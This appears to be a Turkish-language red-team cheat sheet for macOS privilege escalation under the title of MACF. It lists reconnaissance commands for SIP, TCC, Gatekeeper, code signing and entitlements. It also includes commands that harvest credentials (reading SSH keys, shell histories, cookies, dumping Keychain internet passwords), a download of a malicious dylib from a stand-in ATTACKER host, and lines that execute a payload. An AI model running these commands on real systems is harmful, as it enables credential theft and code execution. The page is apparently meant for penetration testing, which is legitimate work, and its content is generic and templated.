Skip to content

macOS MACF - Mandatory Access Control Framework

macos privesc

macOS MACF - Mandatory Access Control Framework macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

  1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

  2. macOS MACF - Mandatory Access Control Framework için launch item, entitlement ve library/XPC yüzeyini tara.

  3. Injection veya privacy bypass hipotezini doğrula.

  4. Keychain/TCC/hassas dosya kanıtını al.

macOS MACF - Mandatory Access Control Framework macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

Terminal window
id; whoami; hostname
Terminal window
sw_vers; uname -a
Terminal window
csrutil status
Terminal window
spctl --status
Terminal window
system_profiler SPSoftwareDataType | head -n 40
Terminal window
ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null
Terminal window
ps aux | head -n 50
Terminal window
lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

Koruma katmanlarını ölç; zayıf imza, tehlikeli entitlement veya sandbox escape ara.

Terminal window
csrutil status
Terminal window
spctl --status; spctl --assess -vv /Applications/App.app 2>&1
Terminal window
codesign -dv --verbose=4 /Applications/App.app 2>&1
Terminal window
codesign -d --entitlements :- /Applications/App.app 2>/dev/null
Terminal window
jtool2 --ent /Applications/App.app/Contents/MacOS/* 2>/dev/null | head
Terminal window
sandbox-exec -f profile.sb /bin/sh
Terminal window
security authorizationdb read system.preferences 2>/dev/null | head
Terminal window
ls -laO /System /usr /bin | head
Terminal window
diskutil apfs list

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

Terminal window
file /Applications/App.app/Contents/MacOS/*
Terminal window
lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null
Terminal window
nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head
Terminal window
vmmap $(pgrep -n App) 2>/dev/null | head
Terminal window
lldb -p $(pgrep -n App)
Terminal window
nvram -p
Terminal window
kextstat 2>/dev/null | head
Terminal window
systemextensionsctl list 2>/dev/null
Terminal window
ioreg -l | rg -i 'IOUserClient|IOKit' | head
Terminal window
ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head
Terminal window
find /Users /Library -name '*.plist' 2>/dev/null | head -n 40
Terminal window
find / -perm -4000 2>/dev/null | head
Terminal window
ls -la /usr/local/bin /opt 2>/dev/null
Terminal window
crontab -l; ls /etc/cron* 2>/dev/null
Terminal window
dscl . -read /Groups/admin GroupMembership
Terminal window
sudo -l 2>/dev/null
Terminal window
ls -la ~/Library/Keychains ~/.ssh 2>/dev/null
Terminal window
cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50
Terminal window
defaults read 2>/dev/null | head
Terminal window
find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head
Terminal window
security find-internet-password -g 2>/dev/null | head
Terminal window
# macOS MACF - Mandatory Access Control Framework — varyant 52
Terminal window
ls -la@ ~/Library ~/Documents 2>/dev/null | head
Terminal window
mdfind 'kMDItemKind == Application' | head
Terminal window
defaults read com.apple.dock 2>/dev/null | head
Terminal window
log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head
Terminal window
fs_usage -w -f filesys 2>/dev/null | head
Terminal window
sample App 3 2>/dev/null | head
Terminal window
python3 -m http.server 8000
Terminal window
curl -O http://ATTACKER/evil.dylib
Terminal window
chmod +x ./payload && ./payload
[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

macOS MACF - Mandatory Access Control Framework sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.